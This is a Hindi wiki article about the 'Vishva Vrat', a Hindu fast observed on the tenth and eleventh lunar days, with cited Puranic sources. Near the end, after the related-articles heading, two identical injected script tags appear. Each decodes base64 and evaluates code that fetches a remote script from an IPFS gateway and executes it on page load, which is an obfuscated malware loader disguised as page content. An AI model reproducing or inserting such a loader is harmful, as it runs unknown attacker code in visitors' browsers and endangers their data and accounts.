विश्व व्रत
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 07:23, 7 दिसम्बर 2010 का अवतरण (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- प्रत्येक मास की दशमी पर एकभक्त, तिथिव्रत एक वर्ष तक रहना चाहिए।
- अन्त में दस गायों तथा दस दिशाओं की स्वर्णिम या रजत प्रतिमाओं, एक दोना तिल के साथ, दान करना चाहिए।
- इससे कर्ता सम्राट हो जाता है और सभी पाप कट जाते हैं।[1]
- एकादशी को विश्वेदेवों की पूजा करनी चाहिए।
- कमल दलों पर उनकी प्रतिमाएँ रखी जाती हैं।
- तिथिव्रत देवता, विश्वेदेव, घृत की धार, समिधाओं, दही, दूध एवं मधु का अर्पण करना चाहिए।[2]
- यह व्रत वैश्वानर प्रतिपदा की भाँति है।
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (451); हेमाद्रि (व्रतखण्ड 1, 983, पद्मपुराण से उद्धरण); मत्स्य पुराण (101|83)
- ↑ हेमाद्रि (व्रतखण्ड 1, 1148, भविष्यपुराण से उद्धरण)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>